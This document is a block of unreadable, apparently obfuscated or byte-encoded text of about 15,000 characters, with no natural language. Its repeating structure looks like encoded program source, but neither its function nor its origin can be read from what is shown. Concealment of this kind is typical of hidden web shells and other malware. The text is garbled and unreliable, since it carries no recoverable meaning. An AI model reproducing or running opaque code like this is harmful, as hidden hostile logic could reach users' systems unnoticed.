OOK0 TeeeOOOKV_^[	[OROO_GWYZFGFOOOODOG_D_]FOOOEOOGWY\]]DXWFTeOOK0OOROO]X_	G^_\[FG]X_	GZ]WFFOOOOOIIOOOOO0GFTeOOOOK	00\0W_WOOOOROK0OPOOOWZ XG^_ZXFOOUOOOOWZ XG^_ZWFTeOOKYZOOOOROK0OPOOG
	
GV[^_G^_ZVFFOPOOOOO<*,:=*0.:;'0,  $&*OOOUOOOOMMFOOOOUOOG
	
G_G^_Y_FFOPOO.:;'0,  $&*OOUOOOMMFTeK0 OOROOO
	
G]X_	G^_Y^FFOOOPOOO# ((*+0&!0,  $&*OOOOOUOOOMMTeO	OOOOGNOOOKYZOOONOOOK0 FOOOOOeOOO
OK0 TeOOOOeOOK_	Y
OOROO
	
GWZ XG^_Y]FFOIIOOO,  $&*0+ ".&!OOPOOOO_G^_Y\FG,  $&*0+ ".&!COHAHFOUOOO[WV		0VGMMFTeOK
X[ZV0OOROO
	
G]X_	G^_Y[FFOPO,  $&*?.;'OOUOH@HTeOOOK	_	W [VOORO
	
G_G^_YZFFOOOPOOO.+"&!0,  $&*0?.;'OUOO]X_	G^_YYFTeOOOOK
	ZXOROOK0OOOOOOPOOO]X_	G^_YXFOUOO_G^_YWFTeK[V0
YVOOOROM3MTeOO]
[^0YG]X_	G^_YVFCOOOOOOKW\ ^	0V]CO_FTeOOK_
 OOOROOO  0Y_^	GWZ XG^_X_FFTeK[\OROWZ XG^_\[FGV[^_GXXZFFOOOPOO/
0  GK_
 COOOGFFOOOUOOOOGFTe	OOOGNV[^_G^_ZYFGK[\FFOOOK[\OOOOOOROOGFTeK	Y0Y	_\	Z0OROO	
TeK_ZY
OOOROOOOOO_Te	 
OGK
_V\[
YOOOOOOOOOK\_Z[_FOeOOOO	OOOGNOWZ XG^_X^FGK\_Z[_FOOONOK\_Z[_BQ&+OOOOOOONOOOOOK\_Z[_BQ
0 FOOOeO 
TeOe	OOGK_ZY
OOQROOOOOGY]1Y^FFOOOOeee
TeOeK	0 ]
OOROOOGFOK\_Z[_BQ
0 Te	OG
GK[\4K	0 ]
2FOIIOOOOGFOOOK[\4K	0 ]
2OOQOV[^_GWYZFGFOODOO]OOEOOOOOG_Z]D_	[
FFOOOOeeee 
TeOOOOOeeeOOOO0
0


GK\_Z[_BQ&+COOOOOWZ XG^_X]FFTeOK]	_^XOOROOOO
0
0
GK\_Z[_BQ&+CO_G^_X\FCOOOO
FTeO	OOGV[^_G^_ZYFGK]	_^XFOIIOOWZ XGW^XFGK]	_^XFOOOOOQROG^[[1^Z[FFOOeeeOOOOOK[ZWOOROOOGFTeOOOO	 
OOGK]	_^XOOOOKX_ZY]OORQOK
0[]0FOOOeO	OOOOG
GK
0[]04]X_	G^_X[F2FOOOIIOOK
0[]04_G^_X[F2OOQO]X_	G^_XZFGFFOOeK[ZW4KX_ZY]2OROK
0[]0TeeOOOOeOOO	OOGV[^_G^_XYFGK[ZWFONRROWZ XG^_XYFGK]	_^XFFOOOOOe
0
0
GK\_Z[_BQ&+CO]X_	G^_X\FCOK[ZWFTeOeeeeOOOOOOOO0
0


GK\_Z[_BQ&+COOWZ XG^_XXFFTeeOOOOK	[_^^YOROV[^_G^_XWFGG]X_	G^_XVFCOOWZ XG^_W_FFCOOOOOK\_Z[_BQ&+FTeK\	Y
Z][OROK	[_^^YBQ

GKV_^[	[FTeK\[
X0__
OOOROOGFTeOK\[
X0__
42OOOROOK_	Y
OOAOK[V0
YVOOAOO_G^_YXFOOOOAOOOOK[V0
YVOOAOOOOK
X[ZV0OOAOOOK[V0
YVOAOOOOK
	ZXOOAOOOK[V0
YVOOOOAOOOKV_^[	[OAOOK[V0
YVOOAOK0 OAOOOOOK[V0
YVOOOAOOOWZ XG^_Z\FGK\_Z[_BQ&+COOKV_^[	[COOOO]X_	G^_W^FCOOOK\	Y
Z][FTeOO	OOOOOOGKYZFOOeOK\[
X0__
42OOOOOROOOK_	Y
OOAOOOK[V0
YVOOOOOAO]X_	G^_W]FOAOOK[V0
YVOOOAOOK	_	W [VOOAOK[V0
YVOOAOOK
	ZXOOOAOK[V0
YVOOOOAOOKV_^[	[OOAOOK[V0
YVOAOOOOKYZOAOOK[V0
YVOAOOWZ XG^_W\FGK\_Z[_BQ&+COKV_^[	[COOOK	00\0W_WCOK\	Y
Z][FTeeOOOOOK0 4K\_Z[_BQ
0 2OOROOK\[
X0__
TeOK[\4K	0 ]
2OOOROOKV_^[	[TeOK	Y0Y	_\	Z0OOOOROOO
TeOK_ZY
DDTeOOOOOeeOOO	OGK	Y0Y	_\	Z0OOIIOOO_G^_W[FGV[^_G^_WZFFFOOOe/
0  GK_
 COOOOOK[\COOOO]X_	GWVYFFTeOOeOOOOOOOOOG; 
OOOOOK]WFOeeeeOOZ[^YZZG]X_	G^_WYFCOK]WFTeOOOOOG*
 OOK]WFOeOOeeeOO
 
0	
GWZ XG^_YVFCOOOOKW\ ^	0V]CO_FTeOOOOO
OK0 TeeOOOOOe	 OO
V]V_^GK]0X	_FeOOeOOOOO	OOOOGV[^_G^_]XFGK]0X	_FFO
OK]0X	_Te	OG]X_	G^_ZYFGK]0X	_FOIIOO
GK]0X	_4HH2FOOIIO_G^_WXFGK]0X	_4HH2FFOOO
OK]0X	_4HH2Te
OOOMMTeOeOOO	 O GK
_V\[
YFeOeOOOOOKOOOOROOGFTeOOOKW\][ _0VOOROOGFOO
V[[
0[GWZ XG^_WWFCOMMFTeK]0[00ZOROOGFOOO
V[[
0[GV[^_G^_WVFCOOOMMFTeeeOOOOO	OGKW\][ _0VOONRROMMOOOOIIOOOOOK]0[00ZOONRROOMMFOeOK4KW\][ _0V2OOOROOOOK]0[00ZTeeeOOOOOeOOK]	]0_ORO
V[[
0[G_G^_V_FCOOOOOOGFFTeOO	OG]X_	G^_ZYFGK]	]0_FFOOeeeeO	 
OGK]	]0_OOOK[W_]_OOOORQOK^Z FOeOK[	0XYOOOOROOO
V]V_^GK^Z FTe	OOOGK[	0XYONRROMMFOK4GFOOOOOK[W_]_2OROOK[	0XYTeOOeeO
OOKTeeOO	 OOOOO

Y	YZY00YV_GK[W_]_COK^
^\ [COOK	^0FeeeeeOOOOOOOeO	OOGNOO]X_	G^_X^FGK[W_]_FOOOONOOO]X_	GVWFGK[W_]_COOOOOV[^_G^_V^FFFOeOOO
OOOOK[W_]_TeOeOOO	OGNOOOK[W_]_BQ0GWZ XG^_V]FFFOOOOOOeOOOO
OOOOK[W_]_TeOOOe	OOOOGNOO]X_	G^_WXFGK	^0FOONOK	^0FOOeOOOOOO
OOOOOOK[W_]_TeeOK]	]0_OROOOOO
V[[
0[G_G^_V\FCOGFFTe	OOOGNO_G^_ZYFGK]	]0_FFOeOK]	]0_OOOOROOGFTeOeeeeOOOOO	 
OOOGK]	]0_OOOOOOOOKV_Y^ 0]ZOORQOOKV^VFOOOOOeOOOOOK	^	[[^XOOOOROOOOOV[^_G^_ZYFGKV^VFOOIIOO
GKV^V4_GY_ZF2FOPOOGFOOOOKV^V4V[^_GY_ZF2OOOOUOO_Te	OGK	^	[[^XOOOOIIOK	^	[[^XOSOOOO]X_	G^_XZFGFOBOOGXXXZV]XDX\FFOOOO
GK]	]0_4KV_Y^ 0]Z2FTeOOOOOOOeOOK]	]0_4K[W_]_BQ
0 2OROGHHOOORQOK	^0COOOO_GY_ZFORQOO]X_	G^_XZFGFCOO]X_	G^_V[FORQOOO_FTee	\_\YGWZ XG^_VZFCOOK]	]0_COO]X_	GWVYFFTeOOOOOOOOOOOOG; 
OOOOOK]WFOOOeOOOOOZ[^YZZGV[^_G^_VYFCOOOK]WFTeOOOOOG*
 OOOK]WFOOeeOOOOe
OOOOOK[W_]_TeOOeOOO	 OOO_Z 0VZVYY	0GK
^COK[W_]_FeOOOeOOOOeOOOOO	OOOGNWZ XG^_VXFGK
^FOOOOK
^ORRROMMFO
TeOOOOOK]	]0_OORO
V[[
0[G]X_	G^_VWFCOOOOGFFTeOOOOOO	OOGN_G^_VVFGK]	]0_FOOOOON
GK]	]0_4K
^2FFO
TeeOOK]WOROK]	]0_4K
^2TeO	OOG]X_	G^_VVFGK]WFOIIO
GK]W4_G^^__F2FFOOOOOeOOOOOOK]	]0_4K
^24_G^^__F2OOORO^TeOO	\_\YG_G^_VWFCOK]	]0_COO]X_	G^^_^FFTeOOOOeeeOOOOG; 
OOOOK
X]	X
_FOOOeOOOOOOZ[^YZZGV[^_G^^_]FCOOOK
X]	X
_FTeOOOOOOOOOOOOOOG*
 OOOOOK
X]	X
_FOOeOee	 O^0	0]
^GK
_V\[
YFeOOOOeOOOOO	OOGNOOO]X_	G^_VVFGK
_V\[
YFFOeeeeO
OO	
TeOOeeK V_0OOOROOOOZXGFTe	 
OGK
_V\[
YOOOOK\_Z[_FOOeO	 
OGK V_0OOOK0W^FOeOO	OOGV[^_GXZWFGWZ XG^^_\FOAOOO]X_	GVX^FGK0W^COH@HFOOAOOOOV[^_G^^_[FCOOOOOK\_Z[_BQ
0 FFOOOOeOO
OOOK\_Z[_TeeeeOee
OOO	
Tee	 OOOOW
W\0]GK	COK
Z^VWFeeeeOO
OWZ XGXZVFGWZ XG^^_ZFGK	FCOO_COOOOK
Z^VWFTeOeOOOOOO	 OO  0^WXY	_0WGK_	0VZFeOeOO	OGNWZ XG^_VXFGK_	0VZFOOOOOOOK_	0VZOOORRROOMMOOOOOOOOON
	
G_GVY\FFFOOO
OOOO	
TeOOOOOOOOOOOK	0^OROOOTeOOOO	OOOOOOGK	0^OOORRROOFOOOeeOOOOK	0^OROGeOOOW
W\0]G.-<?.;'OOOAOOOOV[^_G^^_YFCOGYD]FFOOAOOO_G^_\\FCeeeOOOOW
W\0]G.-<?.;'OOOOOOAOO_G^^_XFCOG_\D_ZFFOOOOOAOWZ XG^_\\FCeeeeOOOOFTeeeOeeeeOOOO	 
OOGK	0^OOOOOKY
X_^FOOeeeO	OOOOOGWZ XG^_]\FGK_	0VZCOOKY
X_^FOOOOONRROO	
FOO
O
TeOe
OO	
TeOeeeO	 OOOZ	\0WGK
Z^VWFeOOOeOO
OOW
W\0]GGGFOOV[^_GXW^FGFCO
FCOOK
Z^VWFTeeeeeOO	 OZ
VXWGK
]0V	W[FeOOOOeO	OGN_G^^_WFGV[^_G^^_VFFFOO
O	
TeK		_ V^OOOOOROO
0  G]X_	G^^^_FCOOOGFFTeO	OGNWZ XG^^^^FGK		_ V^FFOOO
O	
TeK
V]OOOOOOROO_G^^_ZFGK
]0V	W[FTeOOO	OG
GK		_ V^4K
V]2FFOO
OOO	
TeeK[	0XYORO_G^^^]FGHHCOOOOGFOOK		_ V^4K
V]2FTeOK
 VOORO
GK[	0XY4^2FOOOPOOOGFOOK[	0XY4^2OOUOOOO_TeeeOO
OGK
 VOOQOOOO_OOOIIOO]X_	G^^^\FGFOOBOK
 VOOOOOSOOG^X]Z__BWY^__FFTeOeeeO	 OOO ^\	_WX\]]GK
]0V	W[COOK[ 
	FeOeeeeO	OGNWZ XG^^_WFG_G^^_VFFOOOOONV[^_G^^^[FGV[^_G^_WZFFFOOO
TeeeeOK		_ V^ORO
0  G_G^^^ZFCOOOOOGFFTeeeeOO	OOOGNWZ XG^^^^FGK		_ V^FFOOK		_ V^OOOROOOOGFTeeeeOOK
V]OROOOO]X_	G^^^YFGK
]0V	W[FTeOOOO	OOOGNK[ 
	FOOOeOOOOO	OOOG
GK		_ V^4K
V]2FFOOOeO
GK		_ V^4K
V]2FTe
0  GWZ XG^^^ZFCOK		_ V^FTeOeO
TeeOOK]	_YOOROO_TeOOOOOO	OOOGN
GK		_ V^4K
V]2FFOOOOOeOOOOK[	0XYOOROO_G^^^]FGHHCOOOOOOGFOOOK		_ V^4K
V]2FTeOOK]	_YOOOROGFOOOOK[	0XY4_2TeOOOeOOOOOK]	_YDDTeOOOOOK
 VOOROOGK]	_YOOOOQROOG_^D_]FFOOPOWZ XG^^^\FGFOOOOOUO_Te	 
OOOGK		_ V^OOK\
] 0\
OOORQOK
 Z]ZFOeeOK_	0VZOROOO_G^^^]FGHHCOOGFOK
 Z]ZFTeOOOO	OOOGN
GK_	0VZ4^2FOOIIO]X_	G^^^XFGFOOOOOBOGFOOK_	0VZ4^2OOOQOOOOG^X]XY^D\VFFO
GK		_ V^4K\
] 0\
2FTeOOOOOOeOK		_ V^4K
V]2OOOROK]	_YOOAOOOOHHOOOOAOOK
 VTeee
0  GV[^_G^^^ZFCOK		_ V^FTeeO	 OO	[Z[\^
GK
]0V	W[COOOK
[_FeeOOOOOOOO	OGNWZ XG^_VXFGK
[_FFOOOO
TeeOOOKZX^^ XOOROOW		X[GV[^_G^^^WFGK
]0V	W[FCOWZ XG^^^VFFTeOO	OOGKZX^^ XOONRRO	
FOOOeOOO	OG/WZ XGVVYFGKZX^^ XCOOK
[_FOOOORRROOOV[^_G^_\^FGK
[_FOOIIO 	[Y\]^ZGKZX^^ XCOOOOK
]0V	W[FFOO
TeeOZ	VV0GKZX^^ XFTeOOOOOOeOOOO/_GVVYFGK
]0V	W[COOK
[_FTeeeeeeeOOO	 OOOOO]ZVGK
]0V	W[COOKZX\FeeOOeOK_Z00[OOOOORO_G^^]_FGK
]0V	W[FTeOOOOOOO	OGN/WZ XGWX]FGK_Z00[FFOeOZ[^YZZGWZ XG^^]^FCO_G^^]]FOAOOO]X_	GWZWFGK
]0V	W[FFTeO
OO	
TeOeeOOK]XX_YOOOOOROOOOOG_G^^]\FGK
]0V	W[COOBG^D\FFORRRO_G^_\\FFTeOO	OOOGK]XX_YOIIOOOON
[X
 Z]Y
GKZX\FFOeOZ[^YZZGWZ XG^^]^FCOOWZ XG^^][FOOOOAOOOOV[^_GWZWFGK
]0V	W[FFTeO
O	
TeOOOeOOOO	OOOOGK]XX_YOOOOIIOOOOZ
VXWGK
]0V	W[FFO
OOO	
TeOOOOK
\	OOROOOOOO	
TeOO	OOOOG/_GW\[FGK
]0V	W[FFOOK
\	OOOOOOROOOO
TOeOOOK
[_OROOOTeeOOK__OOOROOOO	
TeeeOK
^WOOOROOOOTeO	OG/_GWW^FGK
]0V	W[FOOIION/]X_	GW\[FGK
]0V	W[FFOOeOK__OROO
TeeeeK
^WOROOOO/	

GK
]0V	W[FTeOOO	OOOGK
^WOOOOOORRRO	
FOOOK
^WOOOROOOOOOTe	OOOOG/V[^_G^_^WFGK
]0V	W[FOOOOSROOOGVYZ_Z\_\B[[_XYZ_\FFOK
[_OORO/WZ XG^_^VFGK
]0V	W[FTeOeOO	OGN_G^^]ZFG]X_	G]WFFFOOOOOeZ[^YZZGV[^_G^^]^FCOO]X_	G^^]YFOOOOAOOOO]X_	GWZWFGK
]0V	W[FFTeOOOOOOOO
OO	
TeOOOeOOOK ^Y	OROO	
TeOOOOOK
^

]Y^OOROOOO	
TeeeK0OOROOWZ XG^_\^FGKZX\FTeO	 OOOGK
Z	XW]]OORO_TOOOK
Z	XW]]OSOO]TOOOK
Z	XW]]DDFOeeeeOOK ^Y	OOOOOROW		X[GK_Z00[COWZ XGW[ZFFTe	OGK ^Y	OOOOONRROOO	
FOOeK
^

]Y^OOOOOOROOO	
TeOOOK_	0VZOROOOOO/WZ XG^^]XFGK ^Y	COOOWZ XG^^]WFFTe	OGK_	0VZOONRROO	
FOeOK[VWOORO_TeOOOO
OOGK[VWOOOSOOK0FOeOOOOOOOOK	0Z[	OROOOO/_G^^]VFGK_	0VZCOOV[^_G^^]\FGKZX\COK[VWFFTeO	OGK	0Z[	OOOOOORRROO	
OOOK	0Z[	OOORRRO_FOOOO
TeeeeOOOOK[VWODROOK	0Z[	TeOOOOeOOOOO/		GK_	0VZFTe	OG]X_	G^^]ZFGV[^_G^^\_FFFOOO/	GK_	0VZFTeOOO/	 
GK_	0VZFTeOOOOO	OOOGK[VWORRROK0FOOK
^

]Y^OOOROOK[VWTeOOOOOO

OOOOOeOOOK
^

]Y^OOOOORO/]X_	GVVYFGK ^Y	COOOOOKZX\FTeeeOOOO	OOOOGK
^

]Y^OOONRRO	
OIIOOOOOOK
^

]Y^OORRROOK0FOO
TeOOOOZ	VV0GK ^Y	FTeOK ^Y	OORO	
TeeeeeeeeOO	OOOOOGK ^Y	ORRROOO	
FOeOOOZ[^YZZGV[^_G^^]^FCOO]X_	G^^\^FOAO]X_	GWZWFGK
]0V	W[FFTeO
O	
TeOOOOeOOOOOO	OOOOGK
^

]Y^OOORRROOO	
OOOOK
^

]Y^ONRROOOOOK0FOOeOOOOZ[^YZZGV[^_G^^]^FCO_G^^\]FOOOOAOOOWZ XG^^\\FGK
]0V	W[FFTeOOZ	VV0GK ^Y	FTeO
OOO	
TeOOe	OOGK
^WOONRROOFOOO/V[^_G^Z]FGK ^Y	COOOOOOK
^WOOOOIOG[V\D^WFFTeOOKWVZOROOO 	[Y\]^ZGK ^Y	COOOK
]0V	W[FTeO	OGNKWVZOOOOIIOK__OOIIOOOOOONK
\	FOOeOOO	OOG/V[^_GWW^FGK
]0V	W[FFOOOOOYXYW][GK
]0V	W[COG\WVD\^FFTeOOOOOOK
0	OOOOOOROOOOK
]0V	W[OOOOOOAOV[^_G^^\[FOOAOOOO]X_	G^^\ZFGGV_WDV]FCOOG^]ZWVB]ZV_FFTeO	OG 	[Y\]^ZGK
]0V	W[COOOOOOK
0	FFOeKWVZOOOORO 	[Y\]^ZGK ^Y	COK
]0V	W[FTeO	OOOOGKWVZFOOOOeOOOZ	VV0GK
0	FTeOOOOOOOOO

OOOOOeO	OOOGN 	[Y\]^ZGK
0	COK
]0V	W[FOOOIIOOOOONW Y[\XGK
0	COOOOOK
]0V	W[FFOeOO	[Z[\^
GK
]0V	W[COOOOK
[_FTeOOOOOOeOOOOO	OGN/_GWW^FGK
]0V	W[FFOOeeeeOOO	[Z[\^
GK
]0V	W[COOK
[_FTeeeOOOOOOOeeeeOOeOOOOOO	OOOOGNKWVZOOOOOIIOONK
\	OIIONK]XX_YFOeOOOOOO	OOOOOOG/]X_	GWW^FGK
]0V	W[FFOOOYXYW][GK
]0V	W[COOOOOG\X_DZ_FFTeOO	OOOGW Y[\XGK ^Y	COK
]0V	W[FFOOOeOOKWVZOOOROOOO
TeOOOOZ	VV0GK ^Y	FTeeOOeeOOO	OOOGNKWVZFOeOO	OG/]X_	GWW^FGK
]0V	W[FOOOOIIOOGFOO/V[^_G^^\YFGK
]0V	W[FOOONRROK0FOOeOOOOOOK^00X	V^]OOOOROOO/V[^_G^_^VFGK
]0V	W[FTeOO	OOOOGN_G^_VXFGK^00X	V^]FOOOOOGWZ XG^_VXFGK
[_FOIIOK^00X	V^]OOOONRROOK
[_FFOOeOOOOO	OGV[^_G^^\XFGK
[_FFOOOOO	[Z[\^
GK
]0V	W[COOK
[_FTeOOO

	OOOGNK__FOOZ	VV0GK
]0V	W[FTeOOOOOOeeOO
GK^00X	V^]FTeeeee	OOGN/_G^^\WFGK
]0V	W[FFOOOOOe	[Z[\^
GK
]0V	W[COOOOOK
[_FTeeeeeOOZ[^YZZG]X_	G^^\VFCOOOOV[^_G^^[_FOOAOOV[^_G^^\\FGK
]0V	W[FFTeOOOZ	VV0GK ^Y	FTeeO
O	
TeOOeOOO/

G
COOOK
]0V	W[FTeKYY^V	ZOOOOROOO	
TeeeOOO	OOOGK0OSROG]_VX_X\DXVFFOOOeOOOK^_X	]W0
	OOROO/WZ XG^^[^FGK
]0V	W[FTeeeOOOKYY^V	ZOOOOOROOOOOGV[^_G^^\XFGK^_X	]W0
	FOIIOOWZ XG^_\^FGK^_X	]W0
	FORRROOK0OOIIOV[^_G^^[]FGK^_X	]W0
	FOOOORRROOO_G^^[]FGKZX\FFTeOOOOO

OOOOOOeeK^0X^Z]OOOOOROWZ XG^^]ZFGV[^_G^^[\FFOOPOO/0	
GWZ XG^^[]FCOOOOK
]0V	W[FOOOOUOOOOOO	
TeOOOOOOOO	OG_G^^[[FGK^0X^Z]FOOOIIOOK^0X^Z]OOOOONRROMMFOOOKYY^V	ZOROOOOOOGK^0X^Z]ORRROO]X_	G^^[]FGKZX\FFTeOO

OOeeeOOK^	 _ZOOOOOROO/V[^_G^^[ZFGK
]0V	W[FTeeeeOOOO	OOOOOGK^	 _ZORRROOK0FOOeOOK0Z]OROOOO/]X_	G^^[^FGK
]0V	W[COO	
COOOCOO_COOG[_]\DX\FFTeOOK0OOOROO/WZ XG^^[^FGK
]0V	W[COO	
COCOOK0OOBOG[_W[D^]FFTeOKYY^V	ZOOOOROOG_G^^[[FGK0Z]FOOOIIOO_G^^[[FGK0FOOOIIOOK0Z]OOOORRRO_G^^]\FGKZX\COO_COOOOG]ZWWD^Z_WFFOOOOOIIOK0OORRROOWZ XG^^[YFGKZX\COOOOK0OBOOG[_]^DXZFFFTeOOOOeeeeOeOOOeOOO	OOOOGNKYY^V	ZFOOeOOZ[^YZZGV[^_G^^\VFCOOWZ XG^^[XFOOAOWZ XG^^\\FGK
]0V	W[FFTeOOOO	OGK]XX_YFO ^\	_WX\]]GK
]0V	W[CO
FTe	OOOOG]X_	G^^[WFGK
[_FFOOeOOOOOK0 0 ]]OOOROOV[^_G^^[VFGV[^_G^^[\FFOOOPOOOO/0	
GWZ XG^^Z_FCOOK
]0V	W[FOOOOUOO	
TeO	OGV[^_G^^[WFGK0 0 ]]FOOOIIOOOOOK0 0 ]]OONRROMMOIIOK0 0 ]]ONRROOV[^_G^^Z_FGKZX\FOOIIOOOOK0 0 ]]OONRROO_G^^Z^FGK
[_FFOOeOOZ[^YZZGV[^_G^^\VFCOOOV[^_G^^Z]FOOAOOOOV[^_G^^\\FGK
]0V	W[FFTe
O	
TeOeOK V00OOOOOOROOOOOW		X[GK_Z00[COOWZ XGW[ZFFTe	OOOOGK V00ONRROO	
OOOOOIIOO/]X_	GVVYFGK V00COK
[_FOOOORRRO]X_	G^_\^FGK
[_FFOOe	OGN 	[Y\]^ZGK V00COOOOOOK
]0V	W[FFOeOO	OOG/V[^_G^^\WFGK
]0V	W[FOIIOOONK
\	FOOOYXYW][GK
]0V	W[COOOOOG\XZD[ZFFTe	OOOOOGNK
\	OOIIOW Y[\XGK V00COOOOK
]0V	W[FFOeOZ	VV0GK V00FTeOOOO

OOe/V[^_GVVYFGK
]0V	W[COOOK
[_FTeOZ	VV0GK V00FTeOOOeOOOOOeOO

OeOOOOOO	OOOGK V00OOONRRO	
FOOZ	VV0GK V00FTeOOOO/V[^_GVVYFGK
]0V	W[COK
[_FTeOOOeOOOOOOO^]X
VGK
]0V	W[FTeOOO

	OOGNK__FOOOOOeZ	VV0GK
]0V	W[FTeOOOeOOOOO
O	
TeeO^]X
VGK
]0V	W[FTeOO^Z^V
V0GK
]0V	W[FTeOOOOYXYW][GK
]0V	W[COOOOOG\[]DXWFFTeOOOOO	OGK]XX_YFOOOO ^\	_WX\]]GK
]0V	W[COO	
FTe
OO
TeOeO	 OOO ]V
0
] GK
]0V	W[COOOK^	0[ZX\\FeOOeOK
0_\0[OROOMSP3MTeOOO	OOOOOOG_G^^[WFGK^	0[ZX\\FOOIIOK^	0[ZX\\OOOOONRROOOOMMOIIOOOO]X_	G^^Z\FGK^	0[ZX\\COOOOWZ XGV\ZFFOONRROO	
OOOIIOO
[X
 Z]Y
GK^	0[ZX\\FFOOOOOK
0_\0[OOOOOROOK^	0[ZX\\TeOOOO	OOOOOG/]X_	G^^\WFGK
]0V	W[FFOOeOOOKVVW00__OOOOOROOOOOO/]X_	G^^[^FGK
]0V	W[FTeOOOO	OG_G^^Z[FGKVVW00__FOIIOXX[WZGKVVW00__FOOOOORRROK
0_\0[FO
TeeeeeOOOOOO	OOOGN]ZVGK
]0V	W[COOK
0_\0[FFOOOeK^[OOOORO/_G^^[^FGK
]0V	W[FTeOO	OGNGV[^_G^^Z[FGK^[FOOOIIOOXX[WZGK^[FOOORRROOOOK
0_\0[FFOOOO/_GVVYFGK
]0V	W[COOOK
0_\0[FTeOOOOO
GK^[FTeOeOOOOOOO^]X
VGK
]0V	W[FTeOOOeOO	 OZ[\	XVVZ]0WGFeeO	OOOOOGWZ XG^^ZZFG_G^^ZYFFOOOOIIO
	WGFFOO
OO
Te	OGNV[^_G^^ZXFGWZ XG^^ZWFFOOON]X_	G^^ZXFGV[^_G^^ZVFFFO
O
TeeeeOK	[00Y\ZORO 
0GH@HFTeeeK	[00Y\ZOOAROOG_G^^Z\FGK	[00Y\ZCOHPHFOOORRRO	
OPOHPHOUOOOOOOHIHFOAO_G^^Y_FOAOOOOWZ XG^^^XFGFOOAOOOV[^_G^^\ZFGG[ZDZZFCOOOOOOGV[ZDZ[FFTeeeOOOOOOOKYY[][OROO_G^^ZVFGK	[00Y\ZCOOGWZ XGXW]FORQOOOOOG_ZD_\FCOWZ XGV_]FORQO	
COOOOOOWZ XG^^Y^FOOOOOORQOOOO]COOOWZ XG\]]FOOOORQOOOOG_G^^Y]FOOORQOOOOO_G^^Y\FFFFTeO	OOOGV[^_G^^Y[FG]X_	GXW[FFOOIIO00
 GKYY[][FFOOOOOOeOOOOOOO	OG]X_	G^^Y[FGWZ XGXWXFFFOO_GXWXFG^FTeOOKYY[][OORO_G^^YZFGK	[00Y\ZCOG]X_	GXW]FOOORQOOG^W1]YFCOO]X_	GV_]FORQOOO	
COOOV[^_G^^Y^FORQOOO]CO_G\]]FOOORQOG]X_	G^^YYFORQOOOWZ XG^^Y\FFFFTe	OOOGWZ XG^^Y[FG_G^^YXFFOIIOO00
 GKYY[][FFO
OOO	
TeeOOOK	]VOOROOOGFOO0
 
0


0
 
0 
GKYY[][FTeOOO
OK	]VOOQROGZ_SS^FOOOOOOIIOOOK	]VOOOSOOOOG[W^D^VFTeOOOee	 O		V 
[WWY[GKWZZ 
COOK[]\XFeOOOeOOOOKXX_X\VOOOOOROV[^_GVX^FGWZ XG^^YWFGK[]\XFCOH@HFTeeeOOOOO	 
OOGeOOOGeeeeO_G^^YVFOOAOOKXX_X\VOOAOOV[^_G^^X_FCeO_G^^X^FOAOOOOOOKXX_X\VOOOOOAOOOV[^_G^^X_FCeeeeO_G^^X]FOOAOOOOOKXX_X\VOAOO]X_	G^^X\FCeFOOOOOKW_0\0  ^eOFOOOOOeOO	OGN]X_	G^^Z[FGKWZZ 
FFO
TeeOOOOOOOKWZZ 
OROOO]X_	G[VXFGKW_0\0  ^COOOM3MCOKWZZ 
FTeOOOOOOOeeee
OOOOKWZZ 
TeOOOOOOeOOOOOO	 OOOOO^]X
VGKW
\FeeOOOOOOeOOOOOOO	OGWZ XG^^X[FG]X_	G^Z\FFFOeO
OOOO/ 
0
GKW
\CO
FOOOONRRO	
TeOeOOOK
XWORO]X_	G^^X[FG]X_	G^^XZFFOOPOOO/ 
0
0G	
FOUOO	
TeeOOOOO
OOOONG]X_	G^^^^FGK
XWFOOOIION
GK
XW4WZ XG^^XYF2FFTeOOOOOOeeeOOO	 OO ^
XXGK
]0V	W[COKY[COK X^VX0FeeOOOOOO	OOGV[^_G^^[YFGK
]0V	W[COBG_^D_\FFOOOOORRRO]X_	G^^XXFFOe	OGN]ZVGK
]0V	W[COOKY[FFOOOeOOOOOZ[^YZZGK X^VX0COWZ XG^^XWFOOAOOV[^_G^^XVFGK
]0V	W[FFTeO
O	
TeeeeOOO^]X
VGK
]0V	W[FTe
OOO]X_	G^_\^FGKY[FTeeeeK_	0VZOROOO/_G^^]XFGK
]0V	W[COOOWZ XG^^W_FFTeOO	OGK_	0VZOOORRROO	
FOeOOOOZ[^YZZGK X^VX0CO_G^^XWFOAOOOOOV[^_G^^XVFGK
]0V	W[FFTeeeeOO
O	
TeeeeOOOe	OOOG_G^^X[FG_G^_]FFFOOOO/	 GK_	0VZCOO# ,$0*7FTeOKYY[][OROOOO/WZ XG^^]VFGK_	0VZCOOOKY[FTeO	OG_G^^X[FGWZ XG^^W^FFFO/	 GK_	0VZCOOOOO# ,$0:!FTeOOOO/	 
GK_	0VZFTeOOOO	OGKYY[][OORRRO	
OOOOOOGKY[ONRROOOOOMMOIIOOOKYY[][ONRROOOOWZ XG^_\^FGKY[FFFOeOOOOOOOOZ[^YZZGK X^VX0CO_G^^W]FOAOOOO]X_	G^^W\FGK
]0V	W[FFTeOOOO
OO	
TeOeeeeOOO
OOOOKYY[][TeeeOOOOeOeOO	 O[WZYYX	^XGFeeOeOOOOeOOO	OOOOGN_G^^X[FG]X_	G^_^XFFOOOONWZ XG^^X[FG]X_	GWW[FFFOOeOOO^\^ZY00^GFTe
TeOOOOeO	OOOG
0
GWZ XG^^W[FFFOOOO
TeO	OOOOG
0
G]X_	G^^WZFFFOO
TeeeO
0
GV[^_G^^WYFCOO^COOGZ[^DZVFFTeOOOOO^\^ZY00^GFTeeO	OOOOGV[^_G^^WXFG]X_	GWVXFFFO


0
G]X_	G^^WYFFTeOOOOKW\][ _0VOOOOROOOOOWZ XG^^WXFG_G^^_VFFOOOPOOGFO
V[[
0[G_G^_WWFCOOMMFOUOMMTe	OGKW\][ _0VOONRROOMMOOOOIIOOO]X_	G^^WWFG_G^^WVFFOIIOOO

0
GKW\][ _0VFFOOOOOeOO
0
G]X_	G^^W[FCOO^COOOOG_\VVYD_^FFTeOOOeOOOOOOG; 
OOOOOK]WFOOeeZ[^YZZG_G^^V_FCOK]WFTeOOOOOOG*
 OK]WFOOeeOOOOeOOOOOO	 OOOO^\^ZY00^GK
_V\[
YFeeeOOeOO	OGN
]		VY ^Z\XG]X_	GW_^FFFO
TeOe	OOOOGNOWZ XG^^WWFGV[^_G^^_VFFOOOOONOOOWZ XG^^WWFGV[^_G^^WVFFFOeOOOOOOO
TeOOOOeOK^
^\ [OOOOROOGFOOOOO
V[[
0[G_G^_WWFCOOOMMFTeO	OGK^
^\ [OONRROOOOOOMMOOOIIOO

0
GK^
^\ [FOOOIIOOOOGFOOOOOO
V[[
